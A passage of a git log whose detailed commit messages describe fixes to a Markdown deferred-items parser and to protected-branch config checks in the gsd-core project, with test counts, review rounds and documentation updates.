Why it cannot be driven. Round 3 added the guard after a fenced `status:` line proved the writer could select a line the reader would not read back. Round 3 then closed that divergence STRUCTURALLY, by routing the writer's line selection and the reader's field extraction through one entryFieldLines seam. The guard now detects a state construction prevents: 21 document shapes were driven against it -- fence openers on the bullet line for every marker in the widened set, duplicate and triplicate status lines, bolded and nested variants, fences between duplicates -- and none reached it. The only seam that would is routing the internal call through the module's exports so a test could stub it, which reshapes production surface for a test. Why leaving it undriven is not free. RULESET.TESTS.mutation-score runs Stryker incrementally over changed files at an 80% threshold and says to treat a surviving mutant as a failing test specification. An undriven `if` on a changed file is exactly that, on both the condition and the .toLowerCase() comparison. What this gives up, stated rather than hidden: if a future change re-splits the writer's selection from the reader's extraction, acknowledgeDeferredItem returns ok over an item that stays outstanding -- the original #3702 defect class. One correction to the review's framing: match_verification_failed does NOT backfill it. That check runs BEFORE the write and compares the matched span to the target, so it cannot see a post-write read-back failure. The protection against re-splitting is the shared seam and the round-3 tests that pin it, not a runtime assertion. A comment at the removal site records all of this. Removing it also drops the union member from both files, which resolves the PR body's internal contradiction (it claimed no type-signature changes while adding one) and the duplicate-status surface #3773 collides on. No test changed behaviour: 450/450 across the four deferred-items suites, 149/149 across the audit suites, npm run lint:ci exit 0 -- the same figures as before the removal, which is itself the evidence that nothing exercised the branch. * fix(#3702): the deferred fence gate is indent-unbounded, like the rest of the grammar (M2) Round-4 M2. scanFencedBlocks is CommonMark, which caps a fence delimiter's indent at three spaces -- a fourth makes it an indented code block instead. This grammar had already opted out of that cliff for entry openers ([ \t]) and for THEMATIC_BREAK_RE (^[ \t]), but not for fences. So a fence at four spaces was not a fence to the gate, and a `status: resolved` line inside it RESOLVED the entry containing it. That is not an exotic shape. A fenced block written under a NESTED bullet sits at four spaces, so ordinary hand-written deferred-items.md files reach it. Driven before the fix at indents 4, 5, 8 and a leading tab: all four silently resolved. It is the #3702 silent-resolution defect class in a new place. gsd-core/references/executor-examples.md, added by this PR, states flatly that "nothing inside a fenced code block is an entry or a field". The review offered fixing the parser or bounding that claim in three places. Fixing it -- the claim is the one users will rely on, and the grammar had already chosen unbounded indent everywhere else. NO second fence dialect (the rule blankIndentedFenceDelimiters states). The classification is still done by scanFencedBlocks, the one exported CommonMark state machine, over a de-indented VIEW of the same lines. Run lengths, backtick vs tilde, closer-must-match-and-not-trail, info-string rules and the unterminated-at-EOF case remain that engine's answers. Indent is the only dimension hidden from it, and it is exactly the dimension this grammar has already declared it does not measure. Index alignment is 1:1 -- map preserves length -- so every returned line index still addresses the original line. Scope is the deferred grammar only. Both marker-parameterised call sites gate on markers.blockStructure, which the Gaps set does not set, so Gaps reaches an empty set. Verified, not asserted: the 47-fixture Gaps differential (marker x line-ending x separator x fence x break x key-shape x list-shape) is BYTE-IDENTICAL across this change, 8033 bytes both sides. Tests: 14 added, of which 8 fail against the pre-fix source and pass here; the other 6 are the deliberate controls -- indents 0 through 3, which must NOT move, and the Gaps opt-out guard. Four deferred-items suites green; the 58 suites touching uat/deferred/sectionizer run 6045 tests with an IDENTICAL failing set before and after this change (17 pre-existing environment failures -- installs and an unpinned GSD_EMITTED_BASE; emitted-attribution passes 259/259 in isolation with its base pinned). lint:ci exit 0. * fix(#3702): changeset, both prose parsers, and the minors (M3, M4, m1-m3, m5, n1-n2) M3 -- the changeset omitted a user-BREAKING change. Measured against next: a heading-delimited deferred-items.md written with ``, `+` or `1.` went from "0 entries, so complete-milestone has nothing to acknowledge and closes" to "1 entry, the CLI writer refuses the heading shape, ACK_FAILURES accumulates, exit 1". The `-` form already halted and is unchanged. That is release-note material: a close that used to succeed now fails, and the correct response is to fix the file, not revert. Also names the fence-indent fix below, and adds #3740 so #3773's issue is attributed here as it is absorbed. M4 -- gsd-core/workflows/progress/steps/forensic-audit.md is a SECOND, model-executed parser of the same grammar, and prose cannot carry a parity test. Its widened text stated the start-at-1 rule, fences and separators but not the `1)` exclusion nor the nine-digit ordinal cap, both enforced in code with pinned tests. Both stated now, along with the round-4 fence-indent rule. (No ack fragment: the size ratchet's currentSizes does a NON-recursive readdirSync of gsd-core/workflows and agents, so a file under workflows/progress/steps/ is outside its scope -- verified by reading the helper, not by the green.) n1 -- executor-examples.md documented that the BOLDED status key is matched case-insensitively and left the bare key's rule to inference. Driven: bare `Status: resolved` is NOT read, so the entry stays open with no warning, while `Status:` is. Stated explicitly, with the digit cap and the any-indent fence rule (n2). m1 -- boundary coverage was 2/3. limit (999999999.) and limit+1 (1234567890.) were pinned; limit-1 (12345678.) added, per RULESET.TESTS.boundary-coverage. m2 -- THEMATIC_BREAK_RE and the tab-expanding indent counter are hand-rolled CommonMark rules with no in-repo peer to compare against, so the parity assertion is against the SPEC: eight positive and five negative fixtures, plus the two DELIBERATE divergences pinned as deliberate (`+` is a separator here but not in CommonMark, because `+` is a list marker in this grammar and `+ + +` would otherwise be a phantom entry; indent is unbounded). One fixture was initially wrong -- `-- -` IS a CommonMark break, since the spec allows free spacing between the three characters -- and the parser was right. m3 -- the result union is hand-duplicated in audit.cts as part of a deliberate structural view of uat.cjs, so the fix is not to delete a copy but to make drift observable. Every REACHABLE status is now driven from a fixture; four of the six (ambiguous, unsupported_heading_shape, already_resolved, match_verification_failed) had no assertion anywhere in the suite before this. match_verification_failed is still undriven and the test says so rather than omitting it. m5 -- DECLINED, with the measurement. The review is right that `(\s)` in the opener and `/^[ \t]/` in the reader disagree about \f, \v and NBSP, but its prescribed narrowing was implemented, driven and REVERTED: as shipped, an entry indented with any of those surfaces, parses its status field, acknowledges, and reads back acknowledged -- a complete round-trip. Narrowing turns all three into SILENTLY DROPPED entries, which is the #3702 defect class itself and the opposite of this file's stated fail-safe rule. A latent inconsistency in the safe direction is not worth a live regression in the unsafe one. Pinned by three round-trip tests so the prescription cannot be re-applied silently; if it is ever closed, the direction is to make the readers agree with the opener, not to make the opener reject lines it accepts today. Four deferred-items suites 475/475, 0 skipped. lint:ci and lint:changeset exit 0. The 47-fixture Gaps differential is byte-identical at 8033 bytes. fix(#3702): the pinned `## Gaps` phantom now cites its issue (m4) Round-4 m4. The second assertion in the Gaps byte-for-byte test pins a real defect as expected output: a spaced hyphen thematic break in `## Gaps` is read as an ITEM, so `- - -` surfaces a phantom open gap named `- -`. Reproduced on pristine next at `389bc86e0` across nine separator shapes -- every spaced hyphen form is affected, `---`/`----`/`* * `/`___` are not, and the dividing line is a space after the first hyphen (the Gaps opener is /^(\s)(-)\s/ with no thematic-break concept at all). Filed as open-gsd/gsd-core#3898. The pin stays: scope-limiting Gaps is the point of the blockStructure opt-out, and this assertion is the only thing that would notice the Gaps path moving. What was missing was the tracking -- a pinned defect with no issue behind it reads as intended behaviour to the next reader. The comment now says which it is and what the expectation becomes when #3898 lands. * fix(#3702): an unterminated fence runs to the end of its entry, never past it (B1, B2) Round 4 de-indented every line before `scanFencedBlocks`, so a fence opened at any indent — and `scanFencedBlocks` runs an unterminated fence to end-of-document — so one stray delimiter swallowed every entry after it into the entry before it. `- a` / blank / four-space ``` / blank / `- b` yielded ONE entry where `next` yields two: a widening that made an already-counted item vanish, on the mixed-file shape #3702 exists to close. Reproduces at indent 0 as well. The bound is the entry. CommonMark closes a fence with its container and a container at the next item at its level; this parser extends that to a document-level stray delimiter, where CommonMark would swallow to EOF and the fail-safe rule (surface, don't drop) will not. `scanFencesFrom` reports the unterminated opener and the walk supplies the bound — the next line shaped like a top-level item — then RESCANS from it, so a later delimiter is read on its own terms. Still one fence dialect: every block boundary is `scanFencedBlocks`' answer. Entry-scoped `fencedLineSet` (the field reader) already ran an unterminated fence to the end of its lines, so reader and walk agree by construction. Tests: the M2 pin that asserted `[]` for a stray fence before an item flips (the item counts); the round-4 "runs to end-of-file, exactly as CommonMark says" test is retitled — its assertion stands because the bound is the entry — and extended with the next entry; a new block pins the review reproduction at both indents, a terminated deep fence still gating, the gated status inside the bounded fence, the rescan case, and the heading-tokenizer caveat (at indent 0 the tokenizer applies CommonMark's own fence rule, so a heading after a stray delimiter is body text there, exactly as on `next`). Reverted in isolation against the final tree: 3 named tests fail. * fix(#3702): `0.` starts an ordered list (M1) The start-at-1 rule applied unconditionally dropped ONLY the first item of a `0.`-numbered list — the run then started at `1.` — which is the mixed under-report that looks like a clean parse. CommonMark §5.2 permits any 1-9-digit start and a `0.` list is ordinary; a sentence opening with "0." is not a shape anyone writes. The threshold is now `> 1`. The cost is restated accurately in the doc comment and pinned: a list starting at 2 or more, at a paragraph position, reads as prose until its first `0.`/`1.` line — the prefix, not the whole list. Boundary tests at the threshold itself: `0.`, `1.`, `2.` starts, `00.`/ `01.`, and the prefix-loss case. Reverted in isolation: 1 named test fails. * fix(#3702): a non-1 ordinal is an item wherever a list is already open at its level (M2) The per-indent run memory recorded whether the previous opener was ORDERED, so a bullet item closed the run and `1. a` / `- b` / `5. c` folded `5. c` into `b` — another mixed-file under-report. In CommonMark `5. c` there opens a fresh ordered list (start=5): a non-1 start is refused only where it would interrupt a PARAGRAPH (§5.3), and after a list item it interrupts nothing. `ListRuns` now records "a list is open here"; the start rule applies where no list is open at the line's level — the positions a sentence can occupy — so the round-2 B2 pins (doc start, after a heading, after a paragraph) hold unchanged. Two round-2 pins move with it, both CommonMark-backed: `1. alpha` / `- beta` / `2. gamma` is three items, and a nested `3. status:` after a nested bullet is a nested item (a field line, as `- status:` would be); the "rejected ordinal is not stripped" pin is re-anchored at a paragraph position, where it still holds. Reverted in isolation: 4 named tests fail. * docs(#3702): the two runtime-loaded docs state the grammar the parser ships (B3, M4 parity) `executor-examples.md` (the write-site doc) and `forensic-audit.md` check 7 (the model-executed parser) both asserted "never silently drops a possibly-open item" over a grammar that dropped three measured shapes. Both now carry the round-5 grammar — `0.`/`1.` starts, a non-1 ordinal inside an open list, an unclosed fence ending with its own entry — and the fail-safe sentence is kept with what it does NOT cover named beside it: a fenced line, a separator, and an ordered list numbered from `2.` upward at a paragraph position, and nothing else. * docs(#3702): changeset reflects the merged contract The "Breaking, and deliberate: … HALTS complete-milestone" paragraph described a refusal that #3781 removed from `next`; a heading-shaped file written with a newly recognised marker now surfaces its entries and `complete-milestone` acknowledges them in place. The fragment cites #3702 alone — #3740 and #3775 closed on `next` through #3940 and #3989; this PR's shared reader/writer classifier subsumes both fixes rather than closing either issue. The round-5 grammar (ordered start, unclosed fence bound) is stated in the user-facing sentence. * fix(#3702): the heading-shape insert lands on a line the reader reads, and keeps a closing `#` sequence Found by the round's pre-push adversarial review. An entry whose body ends in a fenced block — closed, or unclosed and therefore running to the entry's end — received `status: acknowledged` AFTER its last non-blank line, i.e. as fence content: the writer returned `ok` and the reader never saw the marker, the item stayed outstanding. That is the #3702 class itself (a write nothing reads), on the shape #3781 just opened. The insert now walks back over blank AND fenced lines, classified by the reader's own `fencedLineSet`, so the marker lands on a line the reader reads; pinned as round-trips for an unclosed fence, a closed fence, and a pending entry ending in an unclosed fence before a heading. Reverted in isolation: the round-trip test fails. Separately, the leaf line-0 rewrite (`### status: open ###`) dropped the closing `#` sequence; it is kept now. Cosmetic, pinned. * docs(#3702): the prose parser states the bare-key case rule; both docs say what an unclosed fence does, no more `forensic-audit.md` check 7 called `status: resolved` case-insensitive where the code reads a bare key lower-case only (the bolded form in any case; the value case-insensitively) — `executor-examples.md` already said so, the model-executed parser did not. And both docs claimed "a stray delimiter cannot hide the entries after it", which overstates B1: an UNCLOSED fence ends with its entry; a closed pair of delimiters is a fence, whatever sits between them, as CommonMark reads it. Found by the round's pre-push review. * fix(#3702): a heading whose text is a fence delimiter is a heading, not a fence Second finding of the round's pre-push review, one door over from the first: for a leaf headed `### ```` (or `~~~`) the entry-level fence scan read line 0 — the heading TEXT, not a Markdown line — as a fence opener, so every body line was fenced: the reader read no field under it, and the writer's marker (placed by the same scan) landed on a line nothing reads — `ok`, item outstanding. `entryFencedLines` now owns the entry's fence view for reader and writer alike, and a leaf's line 0 never opens a fence (the leaf tell is `openerFlags[0] === false`; a pending or headless entry's line 0 is a marker line, never a delimiter). Pinned for both delimiters, read and write; reverted in isolation the pin fails. --------- Co-authored-by: CI Rebase Check <ci@gsd-redux> Co-authored-by: Tom Boucher <trekkie@nomorestars.com>	2026-08-31 13:44:47 -04:00
Tom Boucher	6beaa66b25	enhance(#3304 ): gate re-verification blockers on deterministic evidence (#4085 ) * test(#3304): add failing-first suite for the convergence evidence gate Content-assertion suite for the Step 7 re-verification evidence gate (agents/gsd-verifier.md / gsd-core/references/verifier-evidence-gate.md). Committed before the implementation to prove RED via gsd-test. * enhance(#3304): gate re-verification blockers on deterministic evidence Step 7's anti-pattern scan re-runs at full, unbounded scope on every re-verification pass, independent of the must-haves established in Step 2. A blocker it finds — other than the self-evidencing debt-marker check — previously reverted a completed gap-closure round and started another --gaps cycle on nothing more than the verifier's own new judgment call, with no bound on how many times that could repeat. A Step 7 blocker now blocks unconditionally in re-verification mode only if it is a carried-forward gap (present in the prior VERIFICATION.md's gaps: list) or the flagged file was git-modified since the prior pass (a regression; fails closed toward blocking when history is unresolvable). Otherwise it predates the gap-closure round unflagged and needs deterministic evidence — a named test run red, or another concrete reproducible artifact — to stay blocking. Unevidenced, it downgrades to a new advisory: frontmatter list and report section instead of setting status: gaps_found, and never reverts a completed must-have. Maintainer approval was narrowed to this evidence condition only, explicitly rejecting the broader "advisory whenever untraceable to a requirement/decision/prior-gap" proposal — implemented and pinned by tests/verifier-evidence-gate.test.cjs and documented as rejected in gsd-core/references/verifier-evidence-gate.md so it can't silently re-expand. Closes #3304 * fix(#3304): correct window-truncation and indentation bugs in evidence-gate tests gsd-test's GREEN checkpoint caught 3 real bugs in the test file itself (not the production prose): a {0,600} match window was shorter than the 724-char paragraph it was scanning (the "exclude from Step 9 Rule 1" phrase starts at offset 662), and two regexes assumed no indentation after a markdown list-continuation line break. All three phrases are confirmed unique across agents/gsd-verifier.md, so the windowed submatches are replaced with direct whole-string assertions instead of just widening the window.

Blocker 3/4/5: restore the handle_branching case-selector prose and "none" contract sentence that #3389's tests anchor on, and revert the unrelated prose/comment compaction in the same step — both were drive-by edits outside #3552's scope. Also addresses review majors/minors: delete readConfigBaseBranch and readConfigProtectedBranches (dead in production, only self-tested); --is-protected now fails closed (reports protected) instead of silently answering false when the base branch can't be verified; trim configured protected-branch names; fix HOME-without-USERPROFILE vacuous isolation on Windows; correct the drift-ack's byte accounting. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01S44stkuQbhD3jTCtKzte5N * test(#3648): add failing legacy-key hoist safety coverage Round-2 review found normalizeLegacyKeys block 5 records a normalization carrying the DISCARDED flat value on the canonical-wins branch. Probing that turned up a second, unreported defect in the same helper shape: blocks 1, 2 and 5 all spread result['git'] / result['planning'] with no object guard, so a config whose section key holds a string is spread into index keys — {"git":"main","base_branch":"release"} -> {"git":{"0":"m","1":"a","2":"i","3":"n","base_branch":"release"}} The resolved value is accidentally still correct, so nothing fails and no diagnostic fires. But normalizations.length > 0 sets configDirty, and config-loader then serializes that shape back into the user's config.json — a read that silently corrupts config. The deleted #3057 W3 suite covered {"git":"main","base_branch":"release"} explicitly; this is the input it would have caught. Covers both defects across blocks 1 and 5, with object/array/null negative controls that must stay green in both phases, and a fast-check property over arbitrary `git` values. * test(#3648): pin fail-closed handling of malformed protected_branches Replaces the test that pinned the fail-OPEN behaviour. The old assertion — ['develop', 42] yields isProtected === false for 'develop' — locked in the exact failure #3552 exists to close: config-set validation is bypassable by a direct edit of .planning/config.json, so a user who believes 'develop' is protected got a silent false and no warning. It was also inconsistent with the fail-CLOSED direction twelve lines away, where an unverified base reports protected and writes a diagnostic. A protection predicate must not have two opposite failure directions depending on which input is bad (#3648 review Blocker 3). New coverage: a bad element drops only itself, a non-array contributes no names, an empty list is well-formed rather than malformed, and --is-protected surfaces the rejection. Both negative controls — a clean list reports nothing rejected and writes no diagnostic — must stay green in either phase, so the reject channel cannot fire unconditionally. * fix(#3648): drop only invalid protected_branches and report them Partition git.protected_branches instead of discarding the whole list on one bad element, and carry the rejections out through ProtectedBranchStatus so --is-protected can name them on stderr. Valid names keep protecting; the user finds out the rest were ignored. A non-array value still contributes no names — a bare string is not a list of branch names — but is now reported rather than swallowed. An empty array stays silent: declaring no extra protected branches is a valid choice, not a misconfiguration. writeDiagnostic is hoisted out of the unverified-base branch since both arms now use it. * test(#3648): prove the predicate diagnostic survives both call sites The workflow bash stub now emits a stderr diagnostic the way the real command does, which is what makes a swallowed `2>/dev/null` visible to a test — previously the stub was silent on stderr, so discarding it changed no observable behaviour and the call sites could drop the explanation undetected. Adds the Minor 2 binding check as well: ship must expose the predicate result as IS_PROTECTED rather than only echoing a warning, asserted by running the extracted bash and reading the bound value, not by grepping the workflow source. Both tests carry opposite-outcome controls — an empty diagnostic must leave the text absent, and a false predicate must bind false. * fix(#3648): surface the predicate diagnostic and bind ship's result Drop `2>/dev/null` from the --is-protected call at both call sites. The fail-closed explanation and the new rejected-entry warning both go to stderr, so discarding it left the user with a bare "protected branch" warning on a branch that is not protected and no way to tell a real match from a degraded-git guess. `git branch --show-current` keeps its own redirect — that one is genuine noise. ship.md binds IS_PROTECTED and its prose now branches on the variable, so the following steps have evaluable state instead of having to infer it from warning text in tool output. execute-phase.md byte accounting refreshed: 92326 -> 92645, net growth 319 bytes (was 331 before the redirect came out). Baseline re-verified against the current rebase base by blob id; the ceiling check passes with 755 bytes of margin. * test(#3648): restore negative space for the readFile config seam The #3057 W3 suite was deleted with readConfigBaseBranch, but every arm it pinned survives verbatim in readEffectiveGitConfig's readFile branch — the JSON.parse catch, the non-object guard, the git-section object guard, .trim() and blank-string rejection — and the four surviving readFile injections were positive-path only. protected_branches was never driven through this seam at all. Restores nine cases against the seam, including protected_branches partitioning, plus a control proving loadConfig still wins when both seams are supplied. Records honestly what the suite pins. Mutating the built lib shows .trim() is KILLED, while the non-object guard and the blank-string rejection SURVIVE — both are unreachable through this entry point for the same reasons the deleted suite documented against its own equivalents: a JSON-parsed non-object carries no relevant own-property either way, and a blank value is rejected a second time downstream by the resolver's truthiness check. They stay as defence-in-depth and are labelled known-unkillable rather than left looking like coverage this suite does not provide. * test(#3648): distinguish detached HEAD from a missing branch argument `args[1] ?? ''` collapsed two different situations into one: a detached HEAD, where `git branch --show-current` legitimately prints nothing, and the flag being called with no argument at all. Both answered false, so the right outcome arrived by an unintentional path and a caller bug was indistinguishable from normal operation. Asserts the detached case stays silent and the missing-argument case reports, with a control that the two diagnostics differ. * fix(#3648): report a missing --is-protected branch argument Answer false either way, but say so when the flag arrives with no argument. A detached HEAD passes an explicit empty string and stays silent, since that is a normal state rather than a misconfiguration. * docs(#3648): state exact-name matching and per-entry rejection isProtected is exact string equality, so a git-flow project must enumerate every release/* and hotfix/* by name. #3552 only asked for an integration-branch field, so the implementation satisfies the letter of the issue while leaving its git-flow motivation partly unserved — say so where users will meet it rather than leaving them to discover it. Also documents the Blocker 3 behaviour change: an invalid entry is ignored with a warning naming it and the remaining names still apply. Both statements land in docs/CONFIGURATION.md and gsd-core/references/planning-config.md, and the config-field-docs parity test asserts each in both so the two cannot drift. * refactor(#3648): extract isValidProtectedBranches for cross-surface pinning The `git.protected_branches` check inside `cmdConfigSet` and the resolver's per-entry filter in `git-base-branch.cts` are deliberately different shapes — all-or-nothing on write, per-entry on read, so a hand-edited config.json cannot fail the guard open. Nothing structural keeps their two definitions of "usable branch name" in step. Lifting the write-side check into a named, exported predicate lets a property test ask both surfaces about the same value and assert they agree, which is the fast-check gap the round-2 review flagged. No behaviour change: the predicate is the same expression, called from the same place. * fix(#3648): stop --is-protected rewriting the config it is asking about `gsd_run query git.base-branch --is-protected` runs on every execute-phase and every ship. It resolved config through `loadConfig`, whose normalize-then-write path rewrites `.planning/config.json` whenever any legacy key normalizes — so a boolean question was silently editing the user's checked-in config. This PR had widened the trigger by adding a fifth normalization block (top-level `base_branch` -> `git.base_branch`), making it fire for exactly the projects the feature targets. `loadConfigResolved` gains `options.persist` (opt-OUT, default true): resolution is unchanged, only the two write-back side effects are suppressed. The predicate passes `persist: false`; the ~30 other callers are untouched, so a legacy config is still migrated by ordinary use. Asserted on BYTES rather than parsed shape, because the rewrite reorders keys and reflows whitespace even when the values are equivalent. Three tests, each with its own control: the end-to-end CLI leaves the file byte-identical while still answering `true` from the legacy key (proving the config WAS read); an ordinary persisting load of the same fixture DOES change the bytes (proving the fixture is live rather than inert); and `persist:false` vs default over one directory returns deep-equal config while differing on the write. Reverting the one-line `persist: false` fails the first of those and only that one. Also from the review: - `readEffectiveGitConfig`'s comment claimed the readFile branch routed "through the same precedence authority production uses". It does not, and cannot — it reproduces two of production's steps over a single file. The comment now names what the seam covers and what it does NOT (root/workstream deep merge, builtin and global defaults, federated merge), and the seam now applies production's flat-then-nested lookup so it stops disagreeing about a surviving flat key. - The missing-argument diagnostic promised "answering false", which the fail-closed guard on the same call can contradict by printing `true`. It now states what it did with the argument and leaves the answer to stdout. * test(#3648): re-pin block 5 on #3760's refusal contract #3767 landed on next while this PR was in review and fixed the non-object config-section defect properly: a present-but-non-object section now BLOCKS its own migration — value preserved, no Normalization pushed, refusal reported via `skipped[]` — rather than being rebuilt from a plain-object view. That supersedes this branch's round-2 `hoistLegacyKey`, which prevented the character-key spread but still dropped the section value silently, and which the round-3 review correctly called out as destruction in place of corruption. The rebase drops that commit and routes block 5 through the upstream helper. This file's tests asserted the superseded design, so they are rewritten to pin block 5 — `base_branch` -> `git.base_branch`, which did not exist when #3760's suite was written — against the contract that now governs it: ordinary hoist into an absent/null/object section, canonical-nested-wins, and refusal for each of string/number/boolean/array sections with the exact `skipped` entry. Two controls keep it from passing vacuously: the refusal must be scoped to block 5 (an unrelated block still normalizes in the same call), and a property over arbitrary `git` values asserts hoist and refusal are exhaustive AND mutually exclusive per key, that a refusal leaves both the section and the legacy key untouched, and that a hoist manufactures no index key the input did not carry. * docs(#3648): correct the Git Query and Config Loader module contracts CONTEXT.md's Git Query Module still described base-branch tier 1 as a direct `.planning/config.json` read. Since this PR it is the EFFECTIVE configuration resolved by the Config Loader — a materially different authority, carrying the root/workstream deep merge, flat-then-nested lookup and builtin/federated defaults. The `--is-protected` predicate, `git.protected_branches`, and the two invariants that distinguish the predicate from the plain query (fails closed on an unverified base; must not write) were undocumented entirely. The Config Loader entry now states that loading is not side-effect-free by default and documents `options.persist`. docs/INVENTORY.md's `git-base-branch.cjs` row carried the same stale ladder and no mention of the predicate. `node scripts/gen-inventory-manifest.cjs --write` was run and produced no diff: the manifest indexes roster NAMES, not row prose, so a description edit cannot move it. Also closes the global-defaults minor: `git.protected_branches` is inert in `~/.gsd/defaults.json`, but so is every other `git.` key — no branch-policy key appears in `_globalBaseCfg` or `GLOBAL_DEFAULTS_RESOLUTION_KEYS`. That is section-wide and predates this PR, so the fix is to state the scope where users meet it rather than to quietly extend the resolution set for two new keys. fix(#3648): close four defects found by the round-4 external review Two external reviewers (codex, antigravity/Gemini 3.1 Pro) were run adversarially against this branch. Four findings reproduced against source; each is fixed with a failing-first test and a control, and each fix was verified by reverting it and watching exactly the intended test fail. 1. `persist:false` was DROPPED by the workstream fallback (codex). Blocker 1 was only half closed. `loadConfigResolved` re-enters itself with a bare `{ workstream: null }` when a workstream has no config.json of its own, and that literal discarded every other option — so the recursive pass ran at the DEFAULT persistence and rewrote the ROOT config. Reproduced: with GSD_WORKSTREAM=alpha and a legacy flat `base_branch`, `--is-protected` rewrote `.planning/config.json` despite `persist:false`. Both recursions now forward `options` and override only `workstream`; the explicit override still wins the hasOwnProperty check, so spreading cannot let `workstreamContext` reintroduce a workstream. 2. Both workflow call sites failed OPEN, and aborted under `set -e` (both reviewers, independently). `IS_PROTECTED=$(gsd_run ...)` yields an empty string when the query fails, so `[ "$X" = true ]` was simply false: no warning, no trace — a silent hole in the guard whose only job is to warn. The bare assignment also aborted the step under `set -e`. Both sites now degrade VISIBLY: `\|\| IS_PROTECTED=""`, then an explicit empty-string arm that says the check did not run. Deliberately not fail-closed — claiming "protected" on no evidence would warn on every branch whenever gsd-tools is unavailable. 3. `isValidProtectedBranches` and the resolver disagreed on a sparse array (antigravity). `.every()` skips holes; the resolver's `for...of` yields `undefined` for them, so `["main", , "develop"]` was accepted by config-set and rejected by the resolver. The cross-surface property passed only because `fc.array` cannot generate a hole. The predicate now indexes, and the generator punches holes so that axis is actually falsifiable. JSON cannot express a hole, so this is unreachable in production — but two definitions of one predicate must not contradict each other. 4. A top-level `protected_branches` silently outranked `git.protected_branches` (antigravity). Routing the key through `get(key, {section, field})` gave it flat-then-nested precedence, which is back-compat for keys `normalizeLegacyKeys` migrates. `protected_branches` is new in #3552 and has no legacy form, so that invented an undocumented alias. It now resolves nested-only through a new `getNested`, in production and in the test seam. `base_branch` keeps flat-then-nested — it HAS a legacy spelling that #3760's refusal path can leave behind — and a control pins that distinction. Also narrows a CONTEXT.md claim this round introduced. The predicate fails closed only when a git query TIMED OUT or could not be spawned (#3057 B4's `verified`); a git command that runs and exits non-zero counts as a clean negative, so a cwd that is not a repository answers `false`, not `true`. Verified pre-existing on next @ `738f42f4`, so the documentation was over-claiming rather than the code regressing — but an over-broad contract is exactly what the module docs must not carry. Both workflow byte figures re-derived after the call-site change: execute-phase.md 92356 -> 92865 (+509), ship.md 36784 -> 37227 (+443). * test(#3648): pin git config read parity * docs(#3648): document git query contracts * fix(#3648): expose protected branch default * test(#3648): snapshot planning tree for read-only query * test(#3648): pin planning snapshot stray-write detection * fix(#3648): resolve merge conflict from #3078's ack-fragment sweep next swept the fully-spent 2818/3003 ack fragments this branch had appended to (#3078, `a84f7563`). Rebased onto upstream/next and took the deletions on both, then moved the #3552 append into a new fragment of its own. Rebasing onto the current base also left execute-phase.md only 34 bytes under the frozen ADR-857 Phase 6 margin ceiling (93400 bytes) — intervening next PRs consumed the rest while this PR was in review. Extracted the "none" arm's protected-branch-warning bash block into gsd-core/workflows/execute-phase/steps/protected-branch.md (content unchanged, matching the existing steps/ extraction pattern used elsewhere in this file) so the inline growth is a one-line pointer instead of the full block. 93366 -> 93385 bytes (+19), 15 bytes inside the ceiling. * fix(#3648): drop stale ack entry for the new step file The extracted execute-phase/steps/protected-branch.md needed no acknowledgment of its own — the differential-attribution check flagged the entry as stale once the build ran, so removed it and kept the two growth entries (execute-phase.md, ship.md) that actually needed one. * fix(#3648): follow the step-file reference in the bash-extraction test helper extractProtectedBranchWarningBash() read the "none" arm's bash block directly out of execute-phase.md. That block now lives in execute-phase/steps/protected-branch.md (byte-ceiling extraction); the helper follows the step-file reference and extracts from there when no inline block is found, so the three execute-phase tests that execute this bash for real keep exercising the actual behavior. * fix(#3648): regenerate INVENTORY-MANIFEST.json and satisfy the CRLF-fragile lint rule - gen-inventory-manifest.cjs --write to pick up the new execute-phase/steps/protected-branch.md entry (already covered by docs/INVENTORY.md's generic workflow_steps wildcard row, so no INVENTORY.md edit is needed). - Reworked the step-file-reference lookup in extractProtectedBranchWarningBash() to avoid a bare-\n regex split on file content (local/no-crlf-fragile-split), using the same line-array scan the function already uses elsewhere. * fix(#3648): regenerate golden install-tree fixtures for the new step file npm run gen:install-tree, adding gsd-core/workflows/execute-phase/ steps/protected-branch.md to all 19 runtime install-tree fixtures. CI's tests/golden-install-tree.test.cjs caught this on push — I'd verified the differential-attribution and INVENTORY-MANIFEST checks but missed this separate golden-fixture check for the new file. * fix(#3648): add the canonical gsd_run preamble to the new step file CI's runtime-launcher-parity suite requires exactly one canonical resolver preamble in every workflow .md that calls gsd_run. The inline "none"-arm block never needed one (execute-phase.md already carried a preamble elsewhere in the same file), but the extracted execute-phase/steps/protected-branch.md is now its own file with no preamble of its own. Ran node scripts/sync-runtime-launcher.cjs to insert it (execute-phase.md itself is untouched — still 93385 bytes, inside the ADR-857 ceiling). That preamble defines its own gsd_run(), which shadows the mock tests/git-base-branch.test.cjs injects for the three #3648 tests that execute this bash for real — without stripping it, those tests reached the real gsd-tools.cjs on the machine running them instead of the test's fixture. Preamble correctness is already covered by tests/runtime-launcher-parity.test.cjs, so extractProtectedBranchWarningBash() now strips the preamble line before handing the block to the harness; it only needs to exercise the #3552 warning logic. * fix(#3552): address PR 3648 review feedback on protected branch warnings - Fix execute-phase handle_branching branching_strategy=none instruction to "Read and execute execute-phase/steps/protected-branch.md" - Use io.error(..., ERROR_REASON.USAGE) for cmdGitBaseBranch usage errors - Align git.protected_branches schema default to (none) without fallback [] - Relocate CONTEXT.md forward-referencing sentence into module body - Sanitize control and ANSI characters in renderRejected diagnostics - Clean up out-of-scope whitespace hunks in gsd-tools.cjs Emitted-Drift-Ack-Growth: execute-phase.md — #3552: execute-phase handle_branching adds a pointer to execute-phase/steps/protected-branch.md for branching_strategy=none so the protected-branch check executes while keeping execute-phase.md within the ADR-857 Phase 6 margin ceiling (93400 bytes). 93392 bytes, 8 bytes inside the ceiling. Emitted-Drift-Ack-Growth: ship.md — #3552: ship preflight step 3 now asks the same typed git.base-branch --is-protected predicate as execute-phase, binding IS_PROTECTED and warning without refusing execution or blocking the branching_strategy=none feature-branch offer; it degrades visibly (rather than silently reading an empty result as "not protected") when the query itself fails to run. 36841 bytes, well inside the XL cap (98304, tests/workflow-size-budget.test.cjs). --------- Co-authored-by: Claude Sonnet 5 <noreply@anthropic.com> Co-authored-by: Tom Boucher <trekkie@nomorestars.com>	2026-08-29 17:00:52 -04:00

